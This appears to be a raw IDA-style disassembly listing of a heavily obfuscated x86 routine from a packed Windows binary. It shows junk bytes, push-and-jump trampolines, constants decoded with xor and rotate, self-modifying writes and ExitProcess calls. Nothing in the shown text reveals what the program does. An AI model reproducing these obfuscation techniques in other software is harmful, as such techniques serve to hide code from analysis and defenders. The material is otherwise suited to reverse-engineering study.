; FUNCTION CHUNK AT 0041942E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041948B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004194C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004194DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00419538 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00419549 SIZE 0000000F BYTES

		mov	[esp+0], ebx
		pop	ebx
		xor	[esp-4+arg_0], 0C2F13A19h
		call	ds:dword_4110C0	; ExitProcess
		jmp	loc_4193AD
; ---------------------------------------------------------------------------
		jz	loc_41850E
		jmp	loc_418D6D
; ---------------------------------------------------------------------------
		dd 0FFC7191h, 25281h, 0D7820F00h, 0AC000004h, 10E9C201h
		dd 0FFFFFFAh, 0C1684h, 0FC62E900h, 0A3A1FFFFh, 5E243487h
		dd 0FFF9E5E9h, 0B975E1FFh, 418847h, 41882868h, 0FEA5E900h
		dd 5D94FFFFh, 2E81E381h, 5A68228Bh, 0E900417Dh,	0FFFFFD6Dh
		dd 1DBE8h, 0E93AC300h, 6ACh, 69E8579Ch,	0F3000008h, 101E97Ah
		dd 368B0000h, 89CF689Dh, 93E90041h, 81000005h, 7945AFEDh
		dd 80800FEBh, 0E9FFFFFFh, 8BAh,	7F0DBA7Ch, 14870041h, 0FFE9C324h
		dd 0AA00000Eh, 19C2C1B0h, 9213C281h, 0D503CA92h, 0FFFABBE9h
		dd 4CC317FFh, 41919468h, 1356E900h, 0F590000h, 0C6685h
		dd 84F56800h, 0FBE90041h, 20000012h, 8211C3E3h,	639E9h
		dd 81CA9400h, 0A0317DE8h, 88C081CFh, 68699C52h,	419076h
		dd 725E9h, 34B80600h, 68004111h, 128ED54Eh, 9C98159h, 0E9E327C5h
		dd 119Bh, 5B8C0F99h, 8100000Fh,	2BAA86C0h, 0FC0096Fh, 0A4E84h
		dd 0CAEE900h, 20130000h, 51E9FB13h, 68000011h, 418B9Dh
		dd 0FFFC04E9h, 9BE9C3FFh, 34000014h, 4A689CC5h,	597468A9h
		dd 806F181h, 0C1C1E642h, 0AF1810Ch, 9DAA14C9h, 1AE9D231h
		dd 8100000Bh, 74FACC0h,	8A008B6Ah, 68992C00h, 463FB934h
		dd 129EE9h, 8147AC00h, 296CA8C1h, 87098B1Eh, 9C53240Ch
		dd 27457E68h, 0CB815B4Ah, 8D494F4Ch, 0FFFC9EE9h, 0C34422FFh
		dd 1320E9h, 81AD3B00h, 0E1D136F6h, 0E9EB239Bh, 0FFFFFB3Eh
		dd 11E3815Bh, 0E81194FAh, 0D35h, 8AE9A19Eh, 11000003h
		dd 2414890Ah, 572D6868h, 8CBA6873h, 4AE90041h, 79000007h
		dd 3B5C682Ch, 4CB8765Ch, 87004180h, 0E3C32404h,	912EC081h
		dd 5CE9D908h, 0C3000000h, 0AE5E987h, 40900000h,	22DE8h
		dd 0D1C22900h, 7A058DE2h, 1004180h, 45E0FFD0h, 9A0E9h
		dd 7268E900h, 0E9AABEC9h, 7D2h,	52BF8789h, 0E931675Dh
		dd 0FFFFF8FBh
		db 65h,	10h
; ---------------------------------------------------------------------------


loc_418092:				; CODE XREF: sub_417E53:loc_418D6Dj
		ror	ebx, 4
		jmp	loc_41850C
; ---------------------------------------------------------------------------
		dw 38Bh
		dd 69CE9DFh, 11DC0000h,	5B241C89h, 7177C381h, 78E84A8Ch
		dd 0E900000Ah, 0DECh, 50B52F6h,	4000B6h, 215E8h, 0C2C12C00h
		dd 561E903h, 0FBF0000h,	28582h,	0C201AC00h, 54BE8h, 81529600h
		dd 0D2E098D7h, 0B04E93Ch, 0D2F70000h, 0ACE9h, 0C3A1D200h
		dd 0F94AE964h, 9C56FFFFh, 0FF3FF468h, 0C6C15ED0h, 73C6810Dh
		dd 0E91842DCh, 0FFFFFAC7h, 1487391Ch, 8199C324h, 124CE9h
		dd 0DD682D00h, 0E9004178h, 712h, 2EE981AAh, 81E846E5h
		dd 1FA32FE1h, 40C181CCh, 3395612h, 8FC181CDh, 0E9BE8CCCh
		dd 0E05h, 14C1C159h, 0B23FF181h, 0C1813570h, 0CFF3177Eh
		dd 0E9240C87h, 76Eh
; ---------------------------------------------------------------------------
		dec	ebx


loc_418161:				; DATA XREF: sub_417E53+FBCo
		push	0B5C23D61h
		pop	esi
		rol	esi, 0Ch
		sub	esi, 8A099368h
		add	esi, 2290FC86h
		add	esi, ebp
		jmp	loc_41899D
; ---------------------------------------------------------------------------


loc_41817D:				; CODE XREF: sub_417E53+FECj
		jo	loc_418F39
		rol	eax, 10h
		jmp	loc_4185A1
; ---------------------------------------------------------------------------
		db 9Dh
		dd 0E9F033D7h, 0FFFFFD04h, 97E9ECC3h, 0F8000011h, 243C87A3h
					; CODE XREF: sub_417E53+FE1j
		dd 8B243487h, 6A685EFEh, 89D859A9h, 0EC8B242Ch,	11D0E9h
		dd 0A2D7C300h, 0FFFCBAE9h, 0A56840FFh, 0E9004178h, 0B9Ch
		dd 0FE9F813h, 89FFFFFCh, 535F243Ch, 40909E68h, 0F3815BF6h
		dd 43F59D79h, 0FFFCDFE9h, 1DCFC1FFh, 2ABB6851h,	81593AADh
		dd 4C1AA8E1h, 0C0F1816Bh, 3CBDA99h, 0FCD7E9CDh,	9C7AFFFFh
		dd 82A9F581h, 0D4E999D2h, 14FFFFF9h, 487E92Bh, 58C88B24h
		dd 418229BEh, 24348700h, 85E917C3h, 0A8FFFFFBh,	86696869h
		dd 3E90041h, 0D5000004h, 0EEE8104h, 0E9E7A0F6h,	1226h
		dd 8796058Dh, 31E80041h, 8D00000Dh, 418A6705h, 0C300C600h
		dd 5B4A6852h, 815A2255h, 0EC31F2C2h, 0B62E9DDh,	0B2770000h
		dd 1489FA23h, 24048724h, 0E958D08Bh, 5BCh, 0E44E680Ah
		dd 8158938Eh, 381673E8h, 1F88146h, 0E975B3D9h, 3EBh, 0C871184h
		dd 0F495924h, 84485h, 5C8E900h,	689C0000h, 417C7Eh, 1095E9h
		dd 0FF1DE800h, 8165FFFFh, 0F4429CE3h, 62FE9D2h,	875D0000h
		dd 0CA8B2414h, 8818685Ah, 2FE90041h, 68FFFFFBh,	419509h
		dd 0FFFA59E9h, 3C8783FFh, 0C0815F24h, 805B1355h, 417FA968h
		dd 4A1E900h, 87DC0000h,	0CF8B243Ch, 240C875Fh, 0EFE9F18Bh
		dd 600000Bh, 0D1685157h, 59619792h, 811AC1C1h, 83BB06F1h
		dd 0E9CD036Bh, 283h, 58DF024h, 418850h,	41924368h, 0FAD5E900h
		dd 682AFFFFh, 0D7433793h, 9FEA815Ah, 816AE7D2h,	3F2202C2h
		dd 81D503A5h, 657906C2h, 0E9128BEEh, 715h, 624E9h, 0E9572800h
		dd 3A9h, 1AC1985h, 3C2C1C2h, 0E949C231h, 0FFFFF5ABh, 1E91FC3h
		dd 0C300000Eh, 0D8B368Bh, 417C44h, 380FD168h, 0F2815A36h
		dd 0BBE45CC9h, 0A1E0C281h, 0C0316416h, 417E7668h, 516E900h
		dd 0E47A0000h, 0FC458B59h, 11B7E851h, 0E9D80000h, 9C2h
		dd 1AE92BB7h, 22FFFFFBh, 0DC850F18h, 0E9FFFFF5h, 0FFFFF75Fh
		dd 243489C3h, 52EA875Eh, 0FEE8EA87h, 0E000011h,	0D339C0F7h
		dd 0AAE907E1h, 0C3000011h, 68515E96h, 8C6CCAA5h, 8B241C87h
		dd 0C9815BCBh, 3BEA3585h, 0DE80E981h, 0FAE82A95h, 0C3000008h
		dd 0EEE90F01h, 3100000Ah, 0AACAB888h, 69E9A13Eh, 0F900000Fh
		dd 6AF4C6F7h, 42E992F3h, 0ABFFFFF5h, 0FD878D0Fh, 0D685FFFFh
		dd 0D9FE9h, 89028700h, 487243Ch, 1E8E824h, 0E5E90000h
		dd 76FFFFF5h
; ---------------------------------------------------------------------------


loc_418438:				; DATA XREF: sub_417E53:loc_4189F2o
		xchg	eax, [esp-4+arg_0]
		mov	eax, [esp-4+arg_0]
		push	667E8C2Bh
		pop	eax
		xor	eax, 998173D4h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_4192F9
; ---------------------------------------------------------------------------


loc_418452:				; CODE XREF: sub_417E53+A46j
		push	417B7Dh
		jmp	loc_4188C7
; ---------------------------------------------------------------------------
		add	esi, 72BF0BC2h
		sub	esi, 68B5C5BDh
		push	offset byte_418E87
		jmp	loc_4193A6
; ---------------------------------------------------------------------------
		xchg	ebx, [edi+68h]
		pop	edi
		add	byte ptr [ecx+0], 0E9h
		int	3		; Trap to Debugger
		add	eax, [eax]
		add	bl, al


loc_41847F:				; DATA XREF: sub_417E53:loc_4193ADo
		push	ecx
		call	loc_4188ED
		push	983FD41Ch
		pop	ebp
		jmp	near ptr sub_417E53
; ---------------------------------------------------------------------------
		mov	ecx, 407635F0h
		mov	[eax], ebx
		jmp	loc_41907F
; ---------------------------------------------------------------------------
		cmpsd
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 44F01168h, 7F47B866h, 4870041h, 0F72AE924h, 0B07FFFFFh
		dd 0F7B3D1C3h, 0A641ADC6h, 0D96E959h, 9C580000h, 245E9h
		db 0, 4
; ---------------------------------------------------------------------------

locret_4184CA:				; CODE XREF: sub_417E53+155Fj
		retn
; ---------------------------------------------------------------------------
		db 0D1h
; ---------------------------------------------------------------------------
		push	418240h
		jmp	nullsub_158
; ---------------------------------------------------------------------------
		dw 0F8Bh
		dd 10EC8Fh, 0E0D68100h,	0B8B6603h, 17E3C1FBh, 0FFF7CBE9h
		dd 0E926C3FFh, 4AEh, 10EBE9CEh,	785B0000h, 0C009008Bh
		dd 5850Fh, 88E90000h, 0C3000011h
; ---------------------------------------------------------------------------


loc_41850C:				; CODE XREF: sub_417E53+242j
		xchg	eax, edi


loc_41850E:				; CODE XREF: sub_417E53+16j
		mov	ecx, offset word_419106
		push	offset loc_419101
		jmp	near ptr dword_41795C+1B8h
; ---------------------------------------------------------------------------
		db 62h,	0Fh, 83h
		dd 0A17h, 1C6E8h
		db 0, 4Dh
; ---------------------------------------------------------------------------

locret_41852A:				; CODE XREF: sub_417E53:loc_419538j
		retn
; ---------------------------------------------------------------------------
		xor	eax, 86DBBAD2h	; DATA XREF: sub_417E53+16FBo
		inc	ecx
		add	[edi-7A3CDBECh], al
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jnz	short loc_41857E
		jmp	loc_4188A1
; ---------------------------------------------------------------------------
		pop	ds
		or	eax, ebp
		jmp	loc_41861A
; ---------------------------------------------------------------------------
		dd 5AFE81B6h, 0E9C35855h, 0FFFFF3CCh
; ---------------------------------------------------------------------------
		adc	ecx, ebx

locret_418556:				; CODE XREF: sub_417E53+FC1j
		retn
; ---------------------------------------------------------------------------
		push	ss
		jmp	loc_418CAA
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		push	0E7D873F2h
		pop	eax
		rol	eax, 18h
		add	eax, 0A310D7DDh
		call	loc_4185D0
		retn
; ---------------------------------------------------------------------------


loc_418575:				; CODE XREF: sub_417E53+1076j
		jmp	near ptr dword_41809C+0ACh
; ---------------------------------------------------------------------------
		db 0F6h	; ö
		db 0C3h	; Ã
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dec	eax


loc_41857E:				; CODE XREF: sub_417E53+6E6j
		push	edx
		mov	[esp+0], ecx
		call	near ptr dword_41795C+482h
		setalc
		fldl2t
		jge	short locret_418590
; ---------------------------------------------------------------------------
		dd 0E8060000h
; ---------------------------------------------------------------------------

locret_418590:				; CODE XREF: sub_417E53+737j
		retn
; ---------------------------------------------------------------------------
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		call	loc_418D9D
		dec	edx
		stc
		jmp	loc_418F27
; ---------------------------------------------------------------------------
		pop	ss


loc_4185A1:				; CODE XREF: sub_417E53+333j
		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	0B674A10Bh
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		xor	ecx, 0ECC39331h
		test	ecx, 2
		jmp	near ptr dword_41795C+242h
; ---------------------------------------------------------------------------
		db 0B2h
; ---------------------------------------------------------------------------


loc_4185C2:				; CODE XREF: sub_417E53+13B9p
		mov	[esp-8+arg_4], edi
		xchg	esi, [esp-8+arg_4]
		mov	edi, esi
		pop	esi
		jmp	loc_41918D
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_417E53+71Cp
		xchg	edx, [esp-4+arg_0]
		pop	edx
		add	eax, ebp
		push	417FC7h
		jmp	nullsub_159
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2, 0B4h, 0E9h
		dd 0A28h, 810FD7CFh, 0FFFFF65Dh, 0FCE4E99Dh, 0D8F7FFFFh
		dd 515820Fh, 10300000h,	49C2FE40h, 0B9C850Fh, 9E90000h
		dd 0C3FFFFFBh, 0E9F9034Dh, 0B2Bh
; ---------------------------------------------------------------------------
		push	edx
		pop	es


loc_41861A:				; CODE XREF: sub_417E53+6F0j
		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		mov	edi, eax
		pop	eax
		mov	eax, [eax]
		jmp	near ptr dword_417E74+123h
; ---------------------------------------------------------------------------
		dd 5B241C87h, 0E803C2C1h, 0FFFFF28Ch, 0D0E98878h, 0EB000008h
		dd 0F6C381E7h, 0E96AC80Eh, 0E3h, 87A7C350h, 0EE6852C2h
		dd 5AD9810Fh, 0E1E0CA81h, 0C2C11595h, 8DF36811h, 1E90041h
		dd 1FFFFFFDh, 0C4058BC5h, 0E8004192h, 0AE6h, 0F714E97Dh
		dd 0E95BFFFFh, 0FFFFF43Ah, 4FE9D74Eh, 68000001h, 0C4A01DAEh
		dd 87EE815Eh, 81D33373h, 0D4D215C6h, 8370680Eh,	40E90041h
		dd 14000003h, 1DDE6853h, 2C872535h, 0E9DD8B24h,	0FFFFF7FFh
		dd 2D860F65h, 0E9000001h, 0FFFFF1C6h, 0FD029A2h, 38D84h
		dd 0F26BE800h, 0E954FFFFh, 0FFFFF3D9h, 12C08121h, 0F558248h
		dd 0C0A89h, 0E9820F00h,	8BFFFFF2h, 0FE9BE910h, 89A1FFFFh
		dd 815F243Ch, 38FDB5C0h, 0E8C50318h, 2ABh, 350E969h, 859E0000h
		dd 0FEDCE9DDh, 0C87FFFFh, 0C1815924h, 24E289h, 0FF240C87h
		dd 4110C015h, 834C6800h, 5EE90041h, 0C100000Dh,	0C8910E3h
		dd 0F495924h, 0CE85h, 0F3F1E800h, 0F70BFFFFh, 5B241C87h
		dd 0EC8BEF87h, 0FFF445E9h, 894560FFh, 35EE937h,	34890000h
		dd 88BABE24h, 34870041h, 13D6C324h, 11FE9h, 81018500h
		dd 7AF715C0h, 0C2689C43h, 59535AC7h, 0C7EAF181h, 0E99D535Ah
		dd 0FFFFF79Ch, 642EC3CBh, 0FFF0CCE9h, 0E991B8FFh, 0FFFFF45Fh
		db 1Ch,	0ECh
byte_418796	db 0Fh			; DATA XREF: p89ykw6h:00417848w
		db 85h
		dd 30h,	41952B68h, 0B60E900h, 60C30000h, 243C87D4h, 51EC8B5Fh
		dd 0FFFDA8E9h, 1C8726FFh, 89525B24h, 0CB87241Ch, 8796058Dh
		dd 0D4E90041h, 5500000Bh, 4193EC68h, 0FDA5E900h, 50C3FFFFh
		dd 0BC8C0F1Bh, 99FFFFF6h, 9E9F013h, 51FFFFF5h, 417A6568h
		dd 0DA8E900h, 0FD7C0000h, 4C35D668h, 0CA815A38h, 710438C6h
		dd 3D7DF281h, 0F9D794Ch, 0FFF09F89h, 2850FFFh, 0E9000004h
		dd 0FFFFFE5Dh, 8B240C87h, 16859C1h, 0E9004179h,	1A0h, 0C3240C87h
		dd 0BAE99E20h, 0F5FFFFF5h, 0FFF37AE9h, 0B8E9DAFFh, 0F4FFFFFBh
		dd 0FFFFAFE9h, 5D0EABFFh, 8E969C3h, 2FFFFF8h
byte_418850	db 0E8h			; DATA XREF: p89ykw6h:00417825w
		db 0D1h, 0F0h, 0FFh
		dd 0E858B7FFh, 7C4h, 0C015FFF3h, 0E8004110h, 0D1Fh, 840F4FF8h
		dd 0FFFFF482h, 0FFF3E9E9h, 402CB4FFh, 0F49C2FEh, 92585h
		dd 0CC3E900h, 2B7A0000h
; ---------------------------------------------------------------------------

locret_418888:				; DATA XREF: sub_417E53:loc_418A56o
		retn
; ---------------------------------------------------------------------------
		mov	[edi], ch
		or	al, [eax]
		add	[ecx+ecx*4-7417DBCCh], bl
		or	[eax], al
		add	[ebx-4Bh], bh
		jmp	loc_418452
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jb	short loc_41891D


loc_4188A1:				; CODE XREF: sub_417E53+6E8j
		jz	near ptr dword_41818C+163h
		jmp	loc_418975
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		jbe	loc_4191E7
		jmp	loc_4188FB
; ---------------------------------------------------------------------------
		or	al, 1Bh
		inc	eax
		push	offset word_418BCA
		jmp	loc_418F0E
; ---------------------------------------------------------------------------
		db 0C3h	; Ã
; ---------------------------------------------------------------------------
		push	ebp


loc_4188C7:				; CODE XREF: sub_417E53+604j
		jmp	near ptr dword_417850+3Eh
; ---------------------------------------------------------------------------
		dd 10E9508Eh, 9500000Ch, 0A8ED81EAh, 0E9E2A860h, 0FFFFF249h
		dd 1A850FDCh, 0E9FFFFFAh, 696h
		db 68h
; ---------------------------------------------------------------------------


loc_4188ED:				; CODE XREF: sub_417E53+62Dp
		mov	[esp+4+var_4], eax
		xchg	ebx, [esp+4+var_4]
		mov	eax, ebx
		pop	ebx
		call	loc_419466


loc_4188FB:				; CODE XREF: sub_417E53+A60j
		jl	near ptr dword_41795C+99h
		mov	[esp+0], ebx
		xchg	ebp, [esp+0]
		mov	ebx, ebp
		pop	ebp
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_41942E
; ---------------------------------------------------------------------------
		xchg	eax, edi
		mov	eax, ds:8A67058Dh
		inc	ecx
		add	dh, al
		add	bl, al


loc_41891D:				; CODE XREF: sub_417E53+A4Cj
		jmp	loc_418EBF
; ---------------------------------------------------------------------------
		dw 2AF6h
		dd 850FA43Ch, 5, 0FFF221E9h, 9DBD59FFh,	87004184h, 29C3242Ch
		dd 0E2D1C229h, 418E4E68h, 0F2E1E900h, 0D158FFFFh, 9EE9D5F7h
		dd 55000003h, 5F243C89h, 0BE243487h, 4181BDh, 0E9243487h
		dd 0FFFFF84Dh, 0F6814E85h, 84FB373Eh, 0FFFA48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_418975:				; CODE XREF: sub_417E53+A54j
		mov	ebp, 0A578D721h
		xchg	edx, eax
		jmp	near ptr dword_41818C+163h
; ---------------------------------------------------------------------------
		db 3Eh,	16h, 89h
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0]
		jmp	loc_418C44
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 5Eh
		dd 0E950D370h, 0FFFFFC8Ch
		db 0C2h
; ---------------------------------------------------------------------------


loc_41899D:				; CODE XREF: sub_417E53+325j
		call	loc_418E1A
		retn
; ---------------------------------------------------------------------------
		db 76h
		dd 4F8F0FB1h, 87000001h, 0B7BE2434h, 87004189h,	81C32434h
		dd 70346CC0h, 9D008B9Ah, 15FE9h, 0C35E1900h, 8A8E9h, 87DB7A00h
		dd 75FF2434h
		db 8, 0FFh
		db 0D0h
; ---------------------------------------------------------------------------


loc_4189D7:				; CODE XREF: sub_417E53+139Dj
		mov	dword ptr [ebp-4], 1
		jmp	near ptr dword_417E74+200h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 8F830F6Eh, 0E9FFFFFFh, 0FFFFEED0h
		db 0D3h, 98h
; ---------------------------------------------------------------------------


loc_4189F2:				; CODE XREF: sub_417E53+1318p
		push	offset loc_418438
		jmp	locret_418FE4
; ---------------------------------------------------------------------------
		dd 0E7813606h, 24F2028h, 0FFF3E5E9h, 927B7FFh, 25840FD2h
		dd 0E9FFFFF3h, 0FFFFF60Ah, 3106820h, 81587BF1h,	3E70D8E0h
		dd 3AF8810Dh, 0E958CC33h, 615h,	0CD686EDCh, 0B92F672Dh
		dd 0E8026377h, 8A2E9h
		db 0, 5Ch
word_418A42	dw 2C81h		; DATA XREF: sub_417E53+E20o
		dd 0CDAD4924h, 0C015FF4Eh, 0E9004110h, 0FFFFEF5Dh
		db 15h,	0E4h
; ---------------------------------------------------------------------------


loc_418A56:				; CODE XREF: sub_417E53+1312j
		lea	eax, locret_418888
		mov	byte ptr [eax],	0C3h
		retn
; ---------------------------------------------------------------------------
		dd 0FEBCE957h, 0C393FFFFh, 0FFFFF7FEh, 840FD209h, 0FFFFF2C4h
		dd 0A17E9h, 87B21800h, 15FF2404h, 4110C0h, 68FC75FFh, 4178EFh
		dd 0FFF92BE9h, 338568FFh, 0F60AE9C7h, 81B8FFFFh, 79B864F7h
		dd 0B4E38170h, 0F5DC86Dh, 0FFF76584h, 203E9FFh,	92090000h
		dd 5A241489h, 0EEECC081h, 8B6B4Eh, 0A0EE959h, 0C2FE0000h
		dd 0B1F7BEBBh, 0E9F80B58h, 7D6h, 0BE8F0FD4h, 87000006h
		dd 315B241Ch, 1C850FD2h, 0FFFFFF2h, 36C80h, 0C1103200h
		dd 7DE905C2h, 8DFFFFF9h, 0C87098Bh, 885D6824h, 8CE90041h
		dd 42FFFFF1h
; ---------------------------------------------------------------------------


loc_418B08:				; CODE XREF: sub_417E53+12A9j
		sbb	ebp, 48B38C13h
		jmp	loc_419549
; ---------------------------------------------------------------------------
		db 30h
		dd 0C2FE4010h, 41954268h, 0EE7CE900h, 0FD2EFFFFh, 0C7E8h
		dd 89336E00h, 875E2434h, 20E9241Ch, 16FFFFEDh, 78906855h
		dd 79E90041h, 0C300000Ah, 0C89B5F7h, 8B5EB924h,	0C870041h
		dd 77E9C324h, 4E000001h, 0F760E979h, 5F68FFFFh,	59F91ABDh
		dd 3606E181h, 34E92901h, 81000009h, 4D6C22C1h, 6AAE940h
		dd 0E9990000h, 0FFFFEE5Dh, 800FA80Bh, 0FFFFF2D6h, 5B241C87h
		dd 115D6853h, 0C877162h, 59D98B24h, 0FFECDBE9h,	240487FFh
		dd 80E9D0FFh, 40000008h, 68EF8789h, 417ED1h, 0FFF7F5E9h
		dd 494F26FFh, 0FC49850Fh, 0A6E9FFFFh
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_418BC3:				; CODE XREF: sub_417E53:loc_418F0Ej
		retn
; ---------------------------------------------------------------------------
		dd 0FFF8EBE9h
		db 0FFh, 97h
word_418BCA	dw 0C2FEh		; DATA XREF: sub_417E53+A68o
		dd 418BB768h, 0F483E900h, 5EC3FFFFh, 8279689Ch,	10E90041h
		dd 1FFFFF5h, 0E9D13B54h, 0FFFFF932h, 0F92392AAh, 59240C89h
		dd 992C008Ah, 41832B68h, 0FFC2E900h, 689DFFFFh,	70F00F1h
		dd 5AF2815Ah, 0E9070F00h, 592h,	90016862h, 0D0E90041h
		dd 0BFFFFFF8h, 52D68E2h, 1487231Bh, 5AC28B24h, 35DE9h
		dd 8B6300h, 37E8008Ah, 61FFFFF0h, 0FFFCA0E9h, 9798C3FFh
; ---------------------------------------------------------------------------


loc_418C44:				; CODE XREF: sub_417E53+B39j
		jmp	near ptr dword_418628+5Fh
; ---------------------------------------------------------------------------
		db 3Eh,	81h, 0F6h
		dd 1F494DEFh, 904E9h, 87C33300h, 29E92404h, 49FFFFFCh
		db 0BBh
; ---------------------------------------------------------------------------


loc_418C61:				; CODE XREF: sub_417E53:loc_41918Dj
		sub	dword ptr [esp+0], 4751053Dh
		call	ds:dword_4110C0	; ExitProcess
		push	4ECDAD48h
		push	offset word_418A42
		jmp	locret_418FAE
; ---------------------------------------------------------------------------
		db 47h,	55h, 81h
		dd 0F5F247C0h, 52C287FBh, 41864B68h, 0F9B7E900h, 8BA2FFFFh
		dd 0F045E9CEh, 45EDFFFFh, 0FFFF61E9h, 25C39FFFh, 0FFEBCCE9h
		db 0FFh, 0D9h
; ---------------------------------------------------------------------------


loc_418CAA:				; CODE XREF: sub_417E53+705j
		xchg	ebp, esi
		push	esi
		xchg	ebp, esi
		call	sub_4193B9
		or	al, 0E9h
		dec	esp
		out	dx, al
; ---------------------------------------------------------------------------
		dd 489FFFFh, 0B63D6824h, 8158C066h, 27DECBF0h, 0EC99E865h
		dd 0ED68FFFFh, 5981B1BAh, 811EC1C1h, 88F031F1h,	0E8CD0328h
		dd 465h, 0A16FF881h, 93E984DCh,	0A5FFFFFEh, 2404875Ch
		dd 0DFC18158h, 36AA6DEh, 8D0DB9C1h, 0C870041h, 0E947C324h
		dd 676h, 240487FDh, 153E9h, 0C33E5300h,	0F25D8C0Fh, 8B7AFFFFh
		dd 0E9168BFBh, 0FFFFF24Ch, 811CC0C1h, 308E42C0h, 7B2168C0h
		dd 16E90041h, 80FFFFEBh, 423A9568h, 0F081583Fh,	0AE573631h
		dd 46C5F881h, 0F9E903DAh, 19000002h, 24148969h,	8BC3815Ah
		dd 0E8EF3D4Ch, 69Ch, 0FFF80BE9h, 9EC375FFh
		db 0D0h
; ---------------------------------------------------------------------------


loc_418D6D:				; CODE XREF: sub_417E53+1Cj
		jmp	loc_418092
; ---------------------------------------------------------------------------
		dw 738Fh
; ---------------------------------------------------------------------------
		js	loc_418EEF
		jmp	loc_418D9D
; ---------------------------------------------------------------------------
		db 19h
		dd 0F63CDB81h, 9FE94FEEh, 94FFFFF1h, 5A241487h,	850FC009h
		dd 0FFFFF764h, 0FFEC72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_418D9D:				; CODE XREF: sub_417E53+741p
					; sub_417E53+F27j
		xchg	ebx, [esp+0]
		pop	ebx
		push	18C51DCBh
		pop	eax
		jmp	loc_41948B
; ---------------------------------------------------------------------------
		dd 61800FD3h, 87FFFFFBh, 815B241Ch, 1AEAEC0h, 8C576803h
		dd 67E90041h, 0B1FFFFFAh, 417C1C68h, 0FE6FE900h, 0C503FFFFh
		dd 0FFFCDBE8h, 3C2AF6FFh, 0C0850FA4h, 0E9FFFFF0h, 0FFFFF218h
		dd 0C8C12B21h, 0EC91E916h, 8130FFFFh, 63D2D7C2h, 24148720h
		dd 234E9h, 76C33600h, 291E9h
		db 0, 0EEh
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_417E53+11E2j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	offset loc_418161
		jmp	locret_418556
; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------


loc_418E1A:				; CODE XREF: sub_417E53:loc_41899Dp
		xchg	eax, [esp-4+arg_0]
		pop	eax
		add	esi, 43A27B82h
		push	offset word_41929E
		jmp	loc_4194C1
; ---------------------------------------------------------------------------


loc_418E2E:				; CODE XREF: sub_417E53:loc_4194DEj
		jnz	near ptr dword_41818C+5Ch
		jmp	near ptr dword_41818C+0Ah
; ---------------------------------------------------------------------------
		test	ebp, 0C78DE1DFh
		jmp	loc_41817D
; ---------------------------------------------------------------------------
		dd 9C8C131h, 0FFFCDEE9h, 58D73FFh, 41807Ah, 0E0FFD001h
		dd 0E81032F9h, 0FFFFEC23h, 0FFFE1AE9h, 8C3A3FFh, 0FFEB54E9h
		dd 0E9FA03FFh, 0FFFFF18Bh, 0A1906872h, 3487044Ah, 5EC68B24h
		dd 0FFFFDBE9h
		db 0FFh, 3Ah, 0B9h
byte_418E87	db 81h			; DATA XREF: sub_417E53+615o
		dd 0EE80B1F6h, 81F503A8h, 0F4C06FC6h, 5E0689D8h, 41803D68h
		dd 0F100E900h, 0F47FFFFFh, 0B4052Bh, 0C0810040h, 0B45E8811h
		dd 0C081C503h, 0F89B37B6h, 0FFFD75E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [edi+3Bh]


loc_418EBF:				; CODE XREF: sub_417E53:loc_41891Dj
		xchg	ecx, edi
		push	edi
		xchg	ecx, edi
		push	0EC860053h
		jmp	loc_418575
; ---------------------------------------------------------------------------
		dw 3149h
		dd 929F6850h, 8158FC31h, 2E51F3C8h, 0FED1E861h,	8CBBFFFFh
		dd 0A7E9C133h, 0ABFFFFF3h
		db 0E2h, 0C3h, 59h
; ---------------------------------------------------------------------------


loc_418EEF:				; CODE XREF: sub_417E53+F21j
		push	2060325h
		pop	eax
		rol	eax, 11h
		and	eax, 580D1896h
		add	eax, 3992C0h
		mov	eax, [eax]
		jmp	near ptr dword_418628+99h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 87h,	0C0h
; ---------------------------------------------------------------------------


loc_418F0E:				; CODE XREF: sub_417E53+A6Dj
		jmp	locret_418BC3
; ---------------------------------------------------------------------------
		dec	edi


loc_418F14:				; CODE XREF: p89ykw6h:0041947Cp
		xchg	eax, [esp+0]
		mov	eax, offset dword_418F20
		xchg	eax, [esp+0]
		retn
; ---------------------------------------------------------------------------
dword_418F20	dd 0FFF7E9E8h			db 0FFh, 66h
; ---------------------------------------------------------------------------

locret_418F26:				; CODE XREF: sub_417E53:loc_4193A6j
		retn
; ---------------------------------------------------------------------------


loc_418F27:				; CODE XREF: sub_417E53+748j
		add	ecx, 0D1FA1AC3h
		mov	ecx, [ecx]
		xchg	ecx, [esp+0]
		push	esi
		jmp	near ptr dword_41818C+2A6h
; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------


loc_418F39:				; CODE XREF: sub_417E53:loc_41817Dj
		and	ebx, eax
		jmp	loc_41915A
; ---------------------------------------------------------------------------
		xchg	ebx, [esp-4+arg_0]
		mov	ebx, offset byte_418F53
		xchg	ebx, [esp-4+arg_0]
		retn
; ---------------------------------------------------------------------------
